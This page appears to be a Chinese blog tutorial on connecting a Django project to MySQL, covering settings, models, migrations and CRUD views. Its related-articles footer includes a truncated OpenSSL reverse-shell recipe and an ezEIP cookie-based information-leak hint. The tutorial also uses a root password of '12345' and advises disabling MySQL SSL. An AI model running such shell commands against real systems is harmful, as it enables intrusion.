当前位置: 首页 > news >正文

Python Django 之连接 Mysql 数据库详解

文章目录

  • 1 概述
    • 1.1 Mysql 下载和安装
    • 1.2 菜单目录
  • 2 ORM 框架
    • 2.1 连接 Mysql 模块:mysqlclient
    • 2.2 创建数据库
    • 2.3 连接 Mysql
    • 2.4 创建表
    • 2.5 增删改查
  • 3 扩展
    • 3.1 ERROR:2026, 'SSL connection error: unknown error number'

1 概述

1.1 Mysql 下载和安装

  • 博客:https://blog.csdn.net/qq_34745941/article/details/122549376
  • 若已安装,请忽略。

1.2 菜单目录

  • 主要使用的文件如图

在这里插入图片描述

2 ORM 框架

2.1 连接 Mysql 模块:mysqlclient

> pip install mysqlclient
  • 若 pip 安装失败,可进入 Python 官方库中下载 whl 文件,操作可参考:
  • 博客:https://blog.csdn.net/qq_34745941/article/details/106341898

2.2 创建数据库

# 创建数据库
> create database Demo DEFAULT CHARSET utf8 COLLATE utf8_general_ci;
> 
> # 展示数据库
> show databases;

在这里插入图片描述

2.3 连接 Mysql

在 settings.py 中,配置 Oracle 的连接串

DATABASES = {'default': {'ENGINE': 'django.db.backends.mysql',  # 不做修改'NAME': 'demo',  # 数据库名'USER': 'root',  # 用户名'PASSWORD': '12345',  # 密码'HOST': '127.0.0.1',  # 主机'PORT': '3306',  # 端口号(默认)}
}

扩展:
Django 也支持其它数据库:官方文档:https://docs.djangoproject.com/zh-hans/3.2/ref/databases/

2.4 创建表

在这里插入图片描述

注意:
① 该类可重复执行
② 若类中的字段存在变更,则数据库表中的字段也同步变更
③ 若该类删除,则数据库中的表也同步删除

settings.py 中:

INSTALLED_APPS = ['django.contrib.admin','django.contrib.auth','django.contrib.contenttypes','django.contrib.sessions','django.contrib.messages','django.contrib.staticfiles','app01.apps.App01Config'  # 注册项目
]

models.py 中:

from django.db import models# 参数 models.Model 固定
class UserInfo(models.Model):name = models.CharField(max_length=32)password = models.CharField(max_length=64)age = models.IntegerField()

终端中依次执行命令:数据库迁移,同步表结构!

> python manage.py makemigrations
> python manage.py migrate

可选,创建管理员
python manage.py createsuperuser

在这里插入图片描述

查询表:

mysql> use demo;
mysql> desc app01_userinfo;

在这里插入图片描述

2.5 增删改查

views.py:

from django.shortcuts import render, HttpResponse
from app01.models import UserInfo# Create your views here.
def orm(request):# 1.添加数据UserInfo.objects.create(name="张三", password=123, age=18)UserInfo.objects.create(name="李四", password=456, age=20)UserInfo.objects.create(name="王五", password=789, age=22)# 2.删除数据UserInfo.objects.filter(id=3).delete()  # 删除单条数据# UserInfo.objects.all().delete()  # 删除全部数据# 3.获取数据data_list = UserInfo.objects.all()  # return QuerySet 类型数据for obj in data_list:print(obj.id, obj.name, obj.password, obj.age)row_obj = UserInfo.objects.filter(id=1).first()print(row_obj.id, row_obj.name, row_obj.password, row_obj.age)# 4.更新数据UserInfo.objects.filter(id=1).update(age=30)return HttpResponse("成功")

urls.py:

from django.urls import pathfrom app01 import viewsurlpatterns = [# path('admin/', admin.site.urls),# ORM 测试path('orm/', views.orm)
]

3 扩展

3.1 ERROR:2026, ‘SSL connection error: unknown error number’

报错截图:
在这里插入图片描述

  • 原因:较高版本的 mysql 的 ssl 是默认开启的
  • 解决:关闭 ssl,同下 5 个步骤

【第一步:登录 mysql,查看 ssl 开启情况】

C:\Users\Administrator>mysql -u root -p
Enter password: *****
mysql> show variables like '%ssl%';

在这里插入图片描述

【第二步:修改 my.ini】
在这里插入图片描述

【第三步:重启 mysql 服务】
在这里插入图片描述

【第四步:重新执行命令】
在这里插入图片描述

【第五步:启动 DJango 项目】
在这里插入图片描述

相关文章:

Python Django 之连接 Mysql 数据库详解

文章目录 1 概述1.1 Mysql 下载和安装1.2 菜单目录 2 ORM 框架2.1 连接 Mysql 模块:mysqlclient2.2 创建数据库2.3 连接 Mysql2.4 创建表2.5 增删改查 3 扩展3.1 ERROR:2026, SSL connection error: unknown error number 1 概述 1.1 Mysql 下载和安装 …...

Java设计模式:Callback

介绍 回调(Callback)是一种设计模式,在这种模式中,一个可执行的代码被作为参数传递给其他代码,接收方的代码可以在适当的时候调用它。 在真实世界的例子中,当我们需要在任务完成时被通知时,我…...

年底旺季,Shopee、Lazada如何通过测评补单技术打造产品权重收割流量

当前Shopee和Lazada平台的主要推广方式仍然以广告为主,毕竟这是平台的主要收入来源之一。然而,由于近年来大量卖家涌入东南亚市场,导致卖家之间的竞争日趋激烈。高额的广告投入并不能带来预期的效果,因此越来越多的卖家开始自学测…...

CentOS 7 安装 MySQL8.0

由于centOS7中默认安装了 MariaDB , 需要先进行卸载 # 查看版本 rpm -qa | grep mariadb # 卸载 rpm -e --nodeps 文件名 # 查看是否卸载干净 rpm -qa | grep mariadb安装wget: yum -y install wget进入/usr/local/下: cd /usr/local/新建mysqlrpm文…...

C# 往多线程传递安全参数的方法

在C#构造一个线程时,要向其传递一个函数,这个函数可以试简单的无参函数,也可以是参数为Object类型的函数,但是由于参数类型为Object,因此编译器无法实行类型检查,看下面的例子: class Program{…...

Java之SPI

Java的SPI(Service Provider Interface)是一种面向接口编程的机制,用于实现组件之间的解耦和扩展。通过SPI机制,我们可以定义接口,并允许第三方提供不同的实现,从而实现可插拔、可扩展的架构。 SPI讲解 它…...

【数据结构】算法的空间复杂度

🦄个人主页:修修修也 🎏所属专栏:数据结构 ⚙️操作环境:Visual Studio 2022 算法空间复杂度的定义 算法的时间复杂度和空间复杂度是度量算法好坏的两个重要量度,在实际写代码的过程中,我们完全可以用空间来换时间,比如说,我们要判断某某年是不是闰年,大…...

恢复Windows 11经典右键菜单:一条命令解决显示更多选项问题

恢复Windows 11经典右键菜单:一条命令解决显示更多选项问题 恢复Windows 11经典右键菜单:一条命令解决显示更多选项问题为什么改变?恢复经典右键菜单 我是将军我一直都在,。! 恢复Windows 11经典右键菜单:一…...

Android:事件分发机制(二)

这篇主要是第一篇回顾之后,补充一些上一篇没写到的两个点。 第一个的切入点是这个。【处理层叠的view,想要执行下一层的view的点击事件】其背后的原理。 处理层叠的view,要执行下一层的view的点击事件 我们知道,方法是将上一层的…...

vue2时间处理插件——dayjs

在vue时间处理上有很多的方法和实现,可以自己实现,但是效率不高,所以,在框架开发中我们一般不会手写,一般是使用集成的第三方插件来解决我们的问题,在vue3中大家一般都使用Moment.js来处理,所以…...

软考 系统架构设计师系列知识点之软件质量属性(6)

接前一篇文章:软考 系统架构设计师系列知识点之软件质量属性(5) 所属章节: 第8章. 系统质量属性与架构评估 第2节. 面向架构评估的质量属性 相关试题 7. 某公司欲开发一个在线教育平台。在架构设计阶段,公司的架构师…...

Python6-wxPython库

Python6-wxPython库 1.wxPython库2.窗口程序2.1 简单的窗口程序2.2 自定义窗口类2.3 面板与静态文本2.4 事件处理 3.布局管理器3.1 盒子布局管理 4.控件4.1 文本输入框4.2 多选框与单选框4.3 列表控件4.4 静态图片 1.wxPython库 官方文档健全:https://docs.wxpytho…...

使用OpenSSL的反弹shell

1、攻击机生成证书&#xff1a; openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes2、攻击机开启服务 openssl s_server -quiet -key key.pem -cert cert.pem -port 803、靶机连接命令 mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1…...

竞赛选题 深度学习OCR中文识别 - opencv python

文章目录 0 前言1 课题背景2 实现效果3 文本区域检测网络-CTPN4 文本识别网络-CRNN5 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; **基于深度学习OCR中文识别系统 ** 该项目较为新颖&#xff0c;适合作为竞赛课题方向&#xff0c;…...

ezEIP信息泄露

漏洞描述 ezEIP存在信息泄露漏洞&#xff0c;通过遍历Cookie中的参数值获取敏感信息 漏洞复现 漏洞Url为 /label/member/getinfo.aspx访问时添加Cookie&#xff08;通过遍历获取用户的登录名电话邮箱等信息&#xff09; WHIR_USERINFORwhir_mem_member_pid1;漏洞证明&…...

02.机器学习原理(复习)

目录 机器学习的本质机器学习的类型Regression/回归Classification/分类Structured Learning/结构化学习 ML的三板斧设定范围设定标准监督学习半监督学习其他 达成目标小结达成目标设定标准设定范围 部分截图来自原课程视频《2023李宏毅最新生成式AI教程》&#xff0c;B站自行搜…...

电源集成INN3270C-H215-TL、INN3278C-H114-TL、INN3278C-H215-TL简化了反激式电源转换器的设计和制造。

一、概述 InnoSwitch™3-CP系列IC极大地简化了反激式电源转换器的设计和制造&#xff0c;特别是那些需要高效率和/或紧凑尺寸的产品。InnoSwitch3-CP系列将初级和次级控制器以及安全额定反馈集成到单个IC中。 InnoSwitch3-CP系列器件集成了多种保护功能&#xff0c;包括线路过…...

UE4和C++ 开发--HUD类

HUD 平视显示器(Head Up Display),简称HUD。在蓝图中是指在屏幕上面绘制的二维物体。 1. 创建HUD 打开蓝图编辑器&#xff0c;创建一个蓝图类&#xff0c;搜索HUD&#xff0c;选择并命名BP_HUD。 2. 开始绘制 打开事件列表&#xff0c;右键搜索 EventReceive Draw HUD。有两…...

使用js怎么设置视频背景

要使用JavaScript设置网页的视频背景&#xff0c;你需要将视频元素添加到你的HTML文档中&#xff0c;然后使用JavaScript来控制它 首先&#xff0c;在你的HTML文件中添加一个 <video> 元素 <video id"video-background" autoplay muted loop><sourc…...

Gin,Gorm实现Web计算器

目录 仓库链接0.PSP表格1. 成品展示1.基础运算2. 清零回退3.错误提示4.历史记录拓展功能1.前端可修改的利率计算器2.科学计算器3. 按钮切换不同计算器模式4.用户在一次运算后不清零继续输入操作符&#xff0c;替换表达式为上次答案 2.设计实现过程3.代码说明4.心路历程和收获 仓…...

智能服装开发实战:基于NeoPixel与Arduino的动态光效设计与实现

1. 项目概述&#xff1a;打造一件会“流动”的智能光效裙几年前&#xff0c;当我第一次看到Phil Burgess的“Ooze Master 3000”代码时&#xff0c;就被那个模拟粘稠液体缓慢滴落的灯光动画迷住了。它不像普通的彩虹轮转那么直白&#xff0c;而是有一种有机的、近乎生物感的动态…...

量子计算基础:从比特到量子比特的革命

1. 量子计算基础&#xff1a;从比特到量子比特的革命 在传统计算机中&#xff0c;信息的基本单位是比特&#xff08;bit&#xff09;&#xff0c;它只能处于0或1两种状态之一。而量子计算的核心突破在于引入了量子比特&#xff08;qubit&#xff09;的概念&#xff0c;它能够同…...

数字电路模块化设计的艺术:Logisim-evolution中的层次化抽象实践

数字电路模块化设计的艺术&#xff1a;Logisim-evolution中的层次化抽象实践 【免费下载链接】logisim-evolution Digital logic design tool and simulator 项目地址: https://gitcode.com/gh_mirrors/lo/logisim-evolution 在数字电路设计的世界里&#xff0c;复杂系统…...

如何零代码构建专业级在线PPT编辑工具:5大核心技术解析

如何零代码构建专业级在线PPT编辑工具&#xff1a;5大核心技术解析 【免费下载链接】PPTist PowerPoint-ist&#xff08;/pauəpɔintist/&#xff09;, An online presentation application that replicates most of the commonly used features of MS PowerPoint, allowing f…...

关于光缆,这些事儿通信人一定要知道

随着5G网络的全面铺开和持续深耕&#xff0c;通信工程师的工作边界正在不断拓展。过去&#xff0c;后台网优工程师可能更多地专注于参数调整、信令分析和性能优化&#xff1b;而如今&#xff0c;越来越多的项目要求前后台协同作业&#xff0c;网优人员也需要熟悉现场施工规范&a…...

原创丨全球主流开源模型及其衍生生态解析

作者&#xff1a;李媛媛 本文约4800字&#xff0c;建议阅读15分钟本文介绍了全球主流开源基座模型及衍生模型的特点、应用与趋势。在人工智能技术产业化落地加速的当下&#xff0c;开源模型已成为推动行业创新的核心力量&#xff0c;其开放、可定制的特性打破了技术壁垒&#x…...

健康160自动挂号脚本:Python自动化预约医院专家号的终极解决方案

健康160自动挂号脚本&#xff1a;Python自动化预约医院专家号的终极解决方案 【免费下载链接】health160 健康160自动挂号脚本&#xff0c;用魔法对抗魔法&#xff0c;禁止商用&#x1f596; 项目地址: https://gitcode.com/gh_mirrors/he/health160 还在为抢不到医院专…...

基于开源LLM构建私有化智能体:从意图解析到安全执行的工程实践

1. 项目概述与核心价值最近在折腾一个挺有意思的开源项目&#xff0c;叫giocaizzi/ralph-copilot。乍一看这个名字&#xff0c;可能会让人联想到微软的 GitHub Copilot&#xff0c;但它的定位和实现方式其实非常不同。简单来说&#xff0c;这是一个基于开源大语言模型&#xff…...

告别Web Client:当ESXi主机SSH连不上时,我用这10条esxcli命令完成了紧急修复

告别Web Client&#xff1a;当ESXi主机SSH连不上时&#xff0c;我用这10条esxcli命令完成了紧急修复 凌晨三点&#xff0c;数据中心告警铃声刺破夜空。一台承载着核心业务的ESXi主机突然失联&#xff0c;vSphere Client和Web界面均无法访问&#xff0c;SSH连接也毫无响应。面对…...

Kubernetes API Server优化:提升集群管理效率

Kubernetes API Server优化&#xff1a;提升集群管理效率 一、Kubernetes API Server概述 1.1 API Server的角色 Kubernetes API Server是Kubernetes集群的核心组件&#xff0c;负责处理所有的REST API请求&#xff0c;是集群内部和外部通信的枢纽。它负责验证和处理请求&#…...